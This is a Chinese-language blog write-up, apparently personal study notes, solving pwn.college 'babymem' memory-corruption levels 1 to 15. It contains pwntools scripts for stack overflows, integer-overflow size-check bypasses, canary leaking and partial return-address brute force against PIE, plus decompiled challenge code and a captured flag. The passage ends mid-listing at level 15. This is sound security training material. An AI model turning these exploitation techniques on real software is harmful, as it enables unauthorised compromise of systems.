pwn college 刷题记录: memory-errors

本文最后更新于:2024年7月3日 上午

📒

写在前面

  • 4、5 涉及利用整数溢出漏洞绕过检测
  • 7 开始开启了 pie,并且只能溢出返回地址的最后两个字节,需要用到一些页机制
  • 8 使用 memcpy 将堆上 buf 的内容复制到栈上面
  • 9 Canary + pie + 神奇 read 1bytes 逻辑
  • 10 启用了 pie 和 Canary,简单格式化字符串漏洞
  • 11 涉及 mmap 函数的内存分配,利用格式化字符串溢出漏洞
  • 12 pie+Canary+后门二次调用, 格式化字符串泄露出 Canary 然后爆破对抗 pie
  • 14 很有意思的一题,像是 12+13 的结合。利用未初始化的缓冲区 leak Canary,调试获得栈上Canary 的偏移
  • 15 网络程序 fork 函数调用 + Canary 泄露 + pie + ret 3 nibble。这里重点是使用多进程爆破 Canary 的过程,逻辑较复杂

    1-0

直接覆盖返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
from pwn import *

# 设置架构
context.arch = 'amd64'

# 创建一个进程对象 运行二进制文件
p = process('/challenge/babymem_level1.0')

# p.recvall()

p.send(b'200')

# p.recvall()

# 填充部分
padding = b'A' * 70

# 基指针填充部分
base_pointer_padding = b'B' * 8

# 返回地址 0x000000000000152C
return_address = p64(0x152C)

# 构造输入
payload = padding + base_pointer_padding + return_address

# 发送 payload
p.send(payload)

# 接收并打印所有数据
print(p.recvall().decode())

1-1

同上

2-0

有 Canary,将对应 win variable 地址内容修改即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
from pwn import *

# 设置架构
context.arch = 'amd64'

# 创建一个进程对象 运行二进制文件
p = process('/challenge/babymem_level2.0')
p.sendline('200')
# 填充部分
padding = b'A' * 104

# 设置为 win 的值
win_value = p32(0x1c62f8f8)

# 构造输入
payload = padding + win_value

# 发送 payload
p.sendline(payload)

# 接收并打印所有数据
print(p.recvall().decode())

2-1

In this level, there is a “win” variable.
By default, the value of this variable is zero.
However, if you can set variable to 0x1c62f8f8, the flag will be printed.

• 缓冲区 v6 大小为 120 字节,位于 rsp+40h。
• v5 指向 v6 的第 116 字节 (&v6[116])。
• 我们需要写入 120 字节来填满缓冲区,然后覆盖 v5 指向的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
from pwn import *

# 设置架构
context.arch = 'amd64'

# 创建一个进程对象 运行二进制文件
p = process('/challenge/babymem_level2.1')
p.sendline('200')
# 填充部分
padding = b'A' * 116

# 设置为 win 的值
win_value = p32(0x47ba9894)

# 构造输入
payload = padding + win_value

# 发送 payload
p.sendline(payload)

# 接收并打印所有数据
print(p.recvall().decode())

3-0

1
2
3
__int64 v9[13]; // [rsp+30h] [rbp-80h] BYREF

buf = v9;

覆盖

  • 缓冲区8*16
  • 前 ebp
  • 返回地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
from pwn import *

# Set architecture
context.arch = 'amd64'

# Create a process object running the binary
p = process('/challenge/babymem_level3.0')
p.sendline('200')
# Buffer layout
buffer_size = 8*16
additional_padding = 8
win_function_address = p64(0x401833)

# Constructing the payload
payload = b'A' * buffer_size
payload += b'B' * additional_padding
payload += win_function_address

# Send the payload
p.send(payload)

# Receive and print all data
print(p.recvall().decode())

3-1

4-0

整数溢出。输入 -1 可以绕过大小检测,补码原理导致 read 一个大的缓冲区长度

read() 函数的原型如下:

1
ssize_t read(int fd, void *buf, size_t nbyte);

其中:

  • fd 是文件描述符,表示要读取数据的文件或设备。
  • buf 是一个指针,指向存储读取数据的缓冲区。
  • nbyte 是要读取的最大字节数。注意它是一个无符号整数

绕过

  • if (SLODWORD(nbytes[0]) > 44)
    • 因为 nbytes[0] 是一个有符号整数,所以当其值为 -1 时(-1 显然小于 44),不会触发 exit(1) 退出程序
  • v9 = read(0, buf, LODWORD(nbytes[0])); 在 read() 的上下文中, size_t 参数为无符号整数(unsigned int),-1 转换为无符号整数后变成了 0xFFFFFFFF,导致 read() 函数尝试从标准输入读取高达0xFFFFFFFF数据到 buf 中,从而触发缓冲区溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
from pwn import *


context.arch = 'amd64'


p = process('/challenge/babymem_level4.0')

# 准备有效载荷
buffer_size = 64
padding_to_ret_address = 8
win_func_address = p64(0x40209A) # 替换为实际地址

# 发送整数下溢值绕过大小检查
p.sendlineafter("Payload size: ", "-1")

# 构造溢出并覆盖返回地址的有效载荷
payload = b'A' * buffer_size
payload += b'B' * padding_to_ret_address
payload += win_func_address


p.sendline(payload)


p.interactive()

4-1

5-0

防范逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
  printf("Number of payload records to send: ");
__isoc99_scanf("%u", &v9);
if ( !v9 )
__assert_fail("record_num > 0", "<stdin>", 0x8Bu, "challenge");
printf("Size of each payload record: ");
__isoc99_scanf("%u", &v8);
if ( !v8 )
__assert_fail("record_size > 0", "<stdin>", 0x8Eu, "challenge");
if ( v8 * v9 > 7 )
__assert_fail("record_size * record_num < (unsigned int) sizeof(input)", "<stdin>", 0x8Fu, "challenge");
nbytes = v8 * (unsigned __int64)v9;
v11 = read(0, buf, nbytes);

对于32 位无符号整数,429496730 * 10 = 4294967300。在 32 位中,这个结果将会溢出,实际结果将是 4294967300 mod 2^32 = 4,这满足 v8 * v9 <= 7,从而通过整数溢出漏洞绕过检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

#!/usr/bin/env python3
from pwn import *


context.arch = 'amd64'


p = process('/challenge/babymem_level5.0')

buffer_size = 96
padding_to_ret_address = 8
win_func_address = p64(0x401637) # 替换为实际地址

# Send negative values correctly interpreted by your payload logic
p.sendlineafter("Number of payload records to send: ", "429496730")
p.sendlineafter("Size of each payload record: ", "10")

# 构造溢出并覆盖返回地址的有效载荷
payload = b'A' * buffer_size
payload += b'B' * padding_to_ret_address
payload += win_func_address


p.sendline(payload)


p.interactive()

5-1

6-0

直接跳转到if ( a1 == 4919 )的下一条语句即可

6-1

7-0

开启了 pie,并且只能溢出返回地址的最后两个字节

以A BCD为例,A 是页表基地址;BCD 是最后的 12 位,是页表内偏移,这个是不变的。用 ida 或者 gdb p &func查看challenge 和 win两个函数,发现非常相近,有理由认为在一个页内,因此这两个函数的地址只有倒数第四个 16 进制数字是不同的

爆破即可,16 种情况,平均第八次即可得出答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
在x86-64架构中,典型的页表解析如下:

1. **页内偏移(最后12位):** 用于在4KB页面内的偏移。 0x1000
2. **页表项索引(Page Table Entry, PTE):** 用于三级页表中的索引(9位)。
3. **页目录项索引(Page Directory Entry, PDE):** 用于二级页表中的索引(9位)。
4. **页目录指针表索引(Page Directory Pointer Table, PDPT):** 用于一级页表中的索引(9位)。
5. **页映射层索引(Page Map Level 4, PML4):** 用于顶级页表中的索引(9位)。

### 具体示例解析

以 `0x561dfac99059` 为例:

1. **最后12位(页内偏移):** `0x059`
2. **页表项索引(PTE):** `0x9`,即二进制 `1001`
3. **页目录项索引(PDE):** `0xC`,即二进制 `1100`
4. **页目录指针表索引(PDPT):** `0xA`,即二进制 `1010`
5. **页映射层索引(PML4):** `0x561df`,这是一个较大的值,需要进一步拆分(假设高位部分是 `0x561d`,后续部分 `f` 作为低位)。

思路

  • 覆盖最后三个十六进制数
  • 爆破倒数第四个十六进制数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

from pwn import *

while True: # brute forcing
p = process('/challenge/babymem_level7.1')

p.recvuntil('Payload size:') # 等待直到接收到特定字符串
p.sendline('74') # 发送字符串'122',表示接下来的负载大小

payload = b'a' * 72 + p64(0x1E63)
#p.recvline('Send your payload')
p.sendline(payload)

#p.interactive()
str = p.recvall(1)
if str.find(b'pwn.college{') != -1:
print(str)
break

7-1

8-0

题目先读取字节数,然后将这么多字节读取到buf,也就是堆上面

然后使用 memcpy 将堆上 buf 的内容复制到栈上面

思路:先绕过 strlen 的检查,再构造 payload 冲掉返回地址最后两个字节,需要爆破返回地址最后两个字节来对抗 pie

注意⚠️:如果 size 大于 buf 的实际大小,memcpy 会尝试从堆上 buf 后面的内存读取数据,冲掉正确的返回地址(注意到这里只覆盖两个字节), 因此payload 的内容和前面读取的这个 size 一定要准确匹配上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

while True:
p = process('/challenge/babymem_level8.0')

p.recvuntil('Payload size:')
p.sendline(b'100')

#payload = b'a' * 120 + b'\x56'+b'\x22'
payload = b'\x00' + b'a' * 71 + p32(0x1B6A)
#p.recvline('Send your payload')
p.sendline(payload)

#p.interactive()
str = p.recvall(1)
if str.find(b'pwn.college{') != -1:
print(str)
break

8-1

9-0

上难度了,有 Canary,有 pie,有一段神奇的每次只 read 1 字节的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 9-1.c
__int64 challenge()
{
int v0; // eax
int *v1; // rax
char *v2; // rax
unsigned __int64 v4; // [rsp+28h] [rbp-58h] BYREF
__int64 *v5; // [rsp+30h] [rbp-50h]
int *v6; // [rsp+38h] [rbp-48h]
__int64 v7[6]; // [rsp+40h] [rbp-40h] BYREF
__int64 v8[2]; // [rsp+70h] [rbp-10h] BYREF 这里

v8[1] = __readfsqword(0x28u);
memset(v7, 0, sizeof(v7));
v8[0] = 0LL; //这里
v5 = v7;// 缓冲区起始处
v6 = (int *)v8 + 1; // 这里
v4 = 0LL;
printf("Payload size: ");
__isoc99_scanf("%lu", &v4);
printf("Send your payload (up to %lu bytes)!\n", v4);
while ( *v6 < v4 )
{
v0 = read(0, (char *)v5 + *v6, 1uLL);//每次往缓冲区偏移*v6大小处写入 1 字节
*v6 += v0;// *v6 自加 1
}
if ( *v6 < 0 )
{
v1 = __errno_location();
v2 = strerror(*v1);
printf("ERROR: Failed to read input -- %s!\n", v2);
exit(1);
}
puts("Goodbye!");
return 0LL;
}

思路如下

Canary 绕过

  • 缓冲区溢出到 n,覆盖 n,将其改写为缓冲区距离返回地址的偏移-1

pie

  • 同 level 8 爆破

偏移

  • 缓冲区起始处为rbp-0x40,Canary 为 rbp-0x8,n 值位于rbp-0x8-0x4
    • 仔细分析一下 v8 和 v6
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      from pwn import *

      while True:
      p = process('/challenge/babymem_level9.0')
      p.recvuntil('Payload size:')

      # 128+8+2=138
      p.sendline(b'138')
      # 136=\x88 注意不能是0x88(为什么?)这里也可以使用 p8
      payload=b'A'*116+b'\x87'+p16(0x1a17)

      p.sendline(payload)

      str = p.recvall(1)
      if str.find(b'pwn.college{') != -1:
      print(str)
      break

9-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

while True:
p = process('/challenge/babymem_level9.1')
p.recvuntil('Payload size:')
# 64+8+2
p.sendline(b'74') # easy error

payload = b'A' * 52 # 52 = 0x40-0x8-0x4
payload += p8(0x47) # 注意这里是缓冲区偏移+8-1
payload += p16(0x1F6E)

p.sendline(payload)

str = p.recvall(1)
if str.find(b'pwn.college{') != -1:
print(str)
break

10-0

没有 win 函数, flag 被注入内存,启用了 pie 和 Canary

打印的缓冲区和 flag 位置较近,可以通过题目本身逻辑中的 print 函数打印出 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
from pwn import *


context.arch = 'amd64'


p = process('/challenge/babymem_level10.0')

# 准备有效载荷
buffer_size = 31
p.sendline(b'31')

payload = b'A' * buffer_size


p.sendline(payload)

# 与进程进行交互,以查看输出或调试
p.interactive()

10-1

11-0

按理来说mmap 分配的地址应该不是不连续的

但是根据输出发现分配页面的地址是连续的

buf 的地址在 flag 地址后面73+0x4000 的地方吗?这里 mmap 的内存分配,分配的空间是紧邻的吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

__int64 challenge()
{
int v0; // eax
int *v1; // rax
char *v2; // rax
int i; // [rsp+20h] [rbp-30h]
int v5; // [rsp+24h] [rbp-2Ch]
size_t nbytes; // [rsp+28h] [rbp-28h] BYREF
void *v7; // [rsp+30h] [rbp-20h]
void *v8; // [rsp+38h] [rbp-18h]
void *buf; // [rsp+40h] [rbp-10h]
void *v10; // [rsp+48h] [rbp-8h]

nbytes = 0LL;
puts("The challenge() function has just been launched!");
puts("This challenge stores your input buffer in an mmapped page of memory!");
v7 = mmap(0LL, 0x1000uLL, 3, 34, 0, 0LL);
printf("Called mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0) = %p\n", v7);
puts("In this level, the flag will be loaded into memory.");
puts("However, at no point will this program actually print the buffer storing the flag.");
puts("Memory mapping the flag...");
v0 = open("/flag", 0);
v8 = mmap(0LL, 0x1000uLL, 4, 1, v0, 0LL);
printf("Called mmap(0, 0x1000, 4, MAP_SHARED, open(\"/flag\", 0), 0) = %p\n", v8);
for ( i = 0; i <= 2; ++i )
{
v10 = mmap(0LL, 0x1000uLL, 3, 34, 0, 0LL);
printf("Called mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0) = %p\n", v10);
}
puts("Memory mapping the input buffer...");
buf = mmap(0LL, 0x49uLL, 3, 34, 0, 0LL);
printf("Called mmap(0, 73, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0) = %p\n", buf);
printf("Payload size: ");
__isoc99_scanf("%lu", &nbytes);
printf("You have chosen to send %lu bytes of input!\n", nbytes);
printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
printf(
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
(char *)buf + nbytes,
nbytes - 73);
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v5 = read(0, buf, nbytes);
if ( v5 < 0 )
{
v1 = __errno_location();
v2 = strerror(*v1);
printf("ERROR: Failed to read input -- %s!\n", v2);
exit(1);
}
printf("You sent %d bytes!\n", (unsigned int)v5);
puts("The program's memory status:");
printf("- the input buffer starts at %p\n", buf);
printf("- the address of the flag is %p.\n", v8);
putchar(10);
printf("You said: %s\n", (const char *)buf);
puts("Goodbye!");
return 0LL;
}




The challenge() function has just been launched!
This challenge stores your input buffer in an mmapped page of memory!
Called mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0) = 0x7f4208d4a000
In this level, the flag will be loaded into memory.
However, at no point will this program actually print the buffer storing the flag.
Memory mapping the flag...
Called mmap(0, 0x1000, 4, MAP_SHARED, open("/flag", 0), 0) = 0x7f4208d1d000
Called mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0) = 0x7f4208d1c000
Called mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0) = 0x7f4208d1b000
Called mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0) = 0x7f4208d1a000
Memory mapping the input buffer...
Called mmap(0, 73, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0) = 0x7f4208d19000
Payload size: You have chosen to send 16384 bytes of input!
This will allow you to write from 0x7f4208d19000 (the start of the input buffer)
right up to (but not including) 0x7f4208d1d000 (which is 16311 bytes beyond the end of the buffer).
Send your payload (up to 16384 bytes)!
You sent 16384 bytes!
The program's memory status:
- the input buffer starts at 0x7f4208d19000
- the address of the flag is 0x7f4208d1d000.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from pwn import *


context.arch = 'amd64'


p = process('/challenge/babymem_level11.0')

# 准备有效载荷
buffer_size = 16384
p.sendline(b'16384')

payload = b'A' * buffer_size


p.sendline(payload)

# 与进程进行交互,以查看输出或调试
p.interactive()

11-1

0x4000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 challenge()
{
int v0; // eax
int *v1; // rax
char *v2; // rax
int i; // [rsp+20h] [rbp-30h]
size_t nbytes[3]; // [rsp+28h] [rbp-28h] BYREF
void *buf; // [rsp+40h] [rbp-10h]
void *v7; // [rsp+48h] [rbp-8h]

nbytes[0] = 0LL;
nbytes[1] = (size_t)mmap(0LL, 0x1000uLL, 3, 34, 0, 0LL);
v0 = open("/flag", 0);
nbytes[2] = (size_t)mmap(0LL, 0x1000uLL, 4, 1, v0, 0LL);
for ( i = 0; i <= 1; ++i )
v7 = mmap(0LL, 0x1000uLL, 3, 34, 0, 0LL);
buf = mmap(0LL, 0x54uLL, 3, 34, 0, 0LL);
printf("Payload size: ");
__isoc99_scanf("%lu", nbytes);
printf("Send your payload (up to %lu bytes)!\n", nbytes[0]);
if ( (int)read(0, buf, nbytes[0]) < 0 )
{
v1 = __errno_location();
v2 = strerror(*v1);
printf("ERROR: Failed to read input -- %s!\n", v2);
exit(1);
}
printf("You said: %s\n", (const char *)buf);
puts("Goodbye!");
return 0LL;
}

12-0

开了 pie,Canary

  • 程序有后门,可以二次调用 challenge
  • 已知 Canary 在 rbp-8 的位置,我认为可以利用将 buf 的缓冲区溢出直到 rbp-8,然后利用 printf("You said: %s\n", (const char *)buf);来打印出 Canary,同时构造buf 中含有REPEAT,使得可以进入下一次challenge 函数,由于 Canary 是不变的,因此我们可以利用前面打印出的 Canary,使得第二次溢出填充正确的 Canary 的值,并覆盖返回地址
  • 调试发现 Canary 的最高字节为 0,一般确实如此。由于64位地址中,Canary最高一个字节是0,因此需要用缓冲期覆盖该字节,这样printf("You said: %s\n", (const char *)buf);才能通过 printf打印出 Canary 的值而不会被截断
  • 读取输出,需要提取出这个值,并将其转化为 \x00开头的八字节
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context.arch = 'amd64'


while True :
p = process('/challenge/babymem_level12.0')

# first bof , 56 + 1
payload = b'REPEAT' + b'A' * (56 - len('REPEAT')) +b'B' # 填充缓冲区到 56 字节
p.recvuntil('Payload size:')
p.sendline(b'57')
p.send(payload)

# 从程序的输出中获取 Canary 值
p.recvuntil('You said: ')
response = p.recvline()
print(response)
Canary = response[57:64] # 7个字节

print(f"Canary value: {Canary.hex()}")
print(Canary)
Canary=b'\x00'+Canary
print(f"Modified Canary value: {Canary.hex()}")
# second bof , 56+canary(8)+ 8 +2 =74
# recv : You said: REPEATAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABÛó>YßpvtVý\x7f
# Canary =

payload = b'A' * 56 + Canary + b'B' * 8 + p16(0x1E74)
print(payload)
p.recvuntil('Payload size:')
p.sendline(b'74')
p.send(payload)

str = p.recvall(1)
if str.find(b'pwn.college{') != -1:
print(str)
break
#break


12-1

13-0

13-1

有两个关键的函数调用

1
2
0000217e      verify_flag()
0000219c challenge()

第一个函数执行完后返回,然后进入 challenge 函数,它的缓冲区存有一部分上个函数未清理的信息,也即是 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//**verify_flag 函数的栈布局**
ssize_t verify_flag() {
int v0; // eax
_BYTE v2[265]; // [rsp+37h] [rbp-109h] BYREF

*(_QWORD *)&v2[257] = __readfsqword(0x28u);
v0 = open("/flag", 0);
return read(v0, v2, 0x100uLL);
}
//**challenge 函数的栈布局**
__int64 challenge() {
int *v0; // rax
char *v1; // rax
size_t nbytes; // [rsp+30h] [rbp-1B0h] BYREF
void *buf; // [rsp+38h] [rbp-1A8h]
char v5; // [rsp+40h] [rbp-1A0h] BYREF
unsigned __int64 v6; // [rsp+1D8h] [rbp-8h]

v6 = __readfsqword(0x28u);
buf = &v5;

函数调用中,栈指针(rbp)在调用期间不变,从而计算出 buf 和 v2 之间的相对偏移

1
2
3
4
5
6
7
8

offset = (rbp - 0x109h) - (rbp - 0x1A0h)

       = 0x1A0h - 0x109h

       = 0x97h

       = 151 (十进制)

覆盖即可

1
2
3
4
5
6
7
8
9
10
11
###
### Welcome to /challenge/babymem_level13.1!
###

Payload size: 151
Send your payload (up to 151 bytes)!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
You said: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaapwn.college{M2_-CsYNRF2yXU04X4oaNcuL6ot.0FNxMDL1cTMzEzW}

Goodbye!

14-0

重点是利用未初始化的缓冲区 leak Canary。由于printf("You said: %.454s\n", (const char *)buf);语句限制了打印出的格式化字符串大小,因此无法直接打印出 Canary

第一次溢出,需要泄露出 Canary(注意高位 0),并且包含 repeat ,从而进入第二次challenge 调用

获取Canary 是难点。可以动态调试跟踪函数执行,使用 Canary 命令输出栈中存在的 Canary。第一次调用 challenge 的时候,会发现栈中存在不止一个 Canary,这是之前 libc 中函数(比如 printf)用栈时未清理栈内存导致的 Canary 残留。调试得到这些 Canary的偏移,找一个格式化字符串漏洞可以打印出的,即可泄露出 Canary

对于 pie 的攻击可以参照之前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context.arch = 'amd64'
# 启动进程

while True :
p = process('/challenge/babymem_level14.0')

# first bof ,136 + 1
payload = b'REPEAT' + b'A' * (0xc8-0x40 - len('REPEAT')) +b'B'
p.recvuntil('Payload size:')
p.sendline(b'137')
p.send(payload)

# 从程序的输出中获取 Canary 值
p.recvuntil('You said: ')
response = p.recvline()
print(response)
Canary = response[137:144] # 7个字节

print(f"Canary value: {Canary.hex()}")
print(Canary)
Canary=b'\x00'+Canary
print(f"Modified Canary value: {Canary.hex()}")
# second bof , 136 + canary(8)+ 8 +2 =154
# recv : You said: REPEATAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABÛó>YßpvtVý\x7f
# Canary =

payload = b'A' * (0x1a0-0x8) + Canary + b'B' * 8 + p16(0x173a)#408+8+8+2
print(payload)
p.recvuntil(b'Payload size:')
p.sendline(b'426')
#p.sendlineafter('Payload size: ', str(len(payload)).encode() )
p.send(payload)

str = p.recvall(1)
if str.find(b'pwn.college{') != -1:
print(str)
break




14-1

这次没有程序自带的栈内容的打印,可以dump 出栈上内存,找出重复出现的 Canary

手搓脚本

1
2
3
4
5
6
7
8
9
10
define print_rsp_to_rbp

set $ptr = $rsp
while $ptr < $rbp
x/gx $ptr
set $ptr = $ptr + 8
end
end

# 接下来直接调用print_rsp_to_rbp即可

定位到Canary 位于 rbp-0x118
缓冲期起始于 rbp-0x1d0

偏移1:0x1d0-0x118

先用偏移 1 获取Canary 的值,程序输出you said字符串后,接收缓冲区中的 Canary,对应Canary = response[185:192]

接着进入第二次 challenge 调用,获取偏移 2:缓冲区+Canary+rbp+返回地址的最后 2 字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context.arch = 'amd64'
# 启动进程

while True :
p = process('/challenge/babymem_level14.1')

# dump stack
payload = b'REPEAT' + b'A' * (184 - len('REPEAT')) +b'B'
p.recvuntil('Payload size:')
p.sendline(b'185')
p.send(payload)

# 从程序的输出中获取 Canary 值
p.recvuntil('You said: ')
response = p.recvline()
print(response)
Canary = response[185:192] # 7个字节

print(f"Canary value: {Canary.hex()}")
print(Canary)
Canary=b'\x00'+Canary
print(f"Modified Canary value: {Canary.hex()}")

payload = b'A' * 456 + Canary + b'B' * 8 + p16(0x17F5)
print(payload)
p.recvuntil('Payload size:')
p.sendline(b'474')
p.send(payload)

str = p.recvall(1)
if str.find(b'pwn.college{') != -1:
print(str)
break


15-0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
int *v3; // rax
char *v4; // rax
_QWORD v6[3]; // [rsp+0h] [rbp-C0h] BYREF
int v7; // [rsp+1Ch] [rbp-A4h]
unsigned int v8; // [rsp+2Ch] [rbp-94h]
size_t nbytes; // [rsp+30h] [rbp-90h] BYREF
void *buf; // [rsp+38h] [rbp-88h]
__int64 v11[14]; // [rsp+40h] [rbp-80h] BYREF
int v12; // [rsp+B0h] [rbp-10h]
char v13; // [rsp+B4h] [rbp-Ch]
unsigned __int64 v14; // [rsp+B8h] [rbp-8h]
__int64 savedregs; // [rsp+C0h] [rbp+0h] BYREF
void *retaddr; // [rsp+C8h] [rbp+8h] BYREF

v7 = a1;
v6[2] = a2;
v6[1] = a3;
v14 = __readfsqword(0x28u);
memset(v11, 0, sizeof(v11));
v12 = 0;
v13 = 0;
buf = v11;
nbytes = 0LL;
puts("The challenge() function has just been launched!");
sp_ = (__int64)v6;
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
rp_ = (__int64)&retaddr;
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
puts("including the saved base pointer and the saved return address, for a");
printf("total of %d bytes.\n", 8 * sz_);
printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
puts("(\"above\" it in the stack are other local variables used by the function).");
puts("Your input will be read into this buffer.");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 117LL);
puts("large input length, and thus overflow the buffer.\n");
puts("In this level, there is no \"win\" variable.");
puts("You will need to force the program to execute the win_authed() function");
puts("by directly overflowing into the stored return address back to main,");
printf(
"which is stored at %p, %d bytes after the start of your input buffer.\n",
(const void *)rp_,
rp_ - (_QWORD)buf);
printf(
"That means that you will need to input at least %d bytes (%d to fill the buffer,\n",
rp_ - (_QWORD)buf + 8,
117LL);
printf("%d to fill other stuff stored between the buffer and the return address,\n", rp_ - (_QWORD)buf - 117);
puts("and 8 that will overwrite the return address).\n");
cp_ = bp_;
cv_ = __readfsqword(0x28u);
while ( *(_QWORD *)cp_ != cv_ )
cp_ -= 8LL;
puts("While canaries are enabled, this networked program forks.");
puts("What is important to note is that the canary does not get re-randomized on fork.\n");
puts("When data that you are overflowing into is critical (i.e., if you screw it up");
puts("the program crashes), but also static across executions, you can brute-force");
puts("it byte by byte over many attempts.\n");
puts("So, let's brute-force the canary!");
puts("If this is your first time running this program, all you know so far is that");
puts("the canary has a 0 as its left-most byte.");
puts("You should proceed like this:\n");
puts("- First, you should try overflowing just the null byte of the canary, for");
printf(" practice. The canary starts at %p, which is %d bytes after the\n", (const void *)cp_, cp_ - (_QWORD)buf);
printf(" start of your buffer. Thus, you should provide %d characters followed\n", cp_ - (_QWORD)buf);
puts(" by a NULL byte, make sure the canary check passes, then try a non-NULL");
puts(" byte and make sure the canary check fails. This will confirm the offsets.");
puts("- Next try each possible value for just the next byte. One of them (the same");
puts(" as whatever was there in memory already) will keep the canary intact, and");
puts(" when the canary check succeeds, you know you have found the correct one.");
puts("- Go on to the next byte, leak it the same way, and so on, until you have");
puts(" the whole canary.\n");
puts("You will likely want to script this process! Each byte might take up to 256");
puts("tries to guess..\n");
puts("Because the binary is position independent, you cannot know");
puts("exactly where the win_authed() function is located.");
puts("This means that it is not clear what should be written into the return address.\n");
printf("Payload size: ");
__isoc99_scanf("%lu", &nbytes);
printf("You have chosen to send %lu bytes of input!\n", nbytes);
printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
printf(
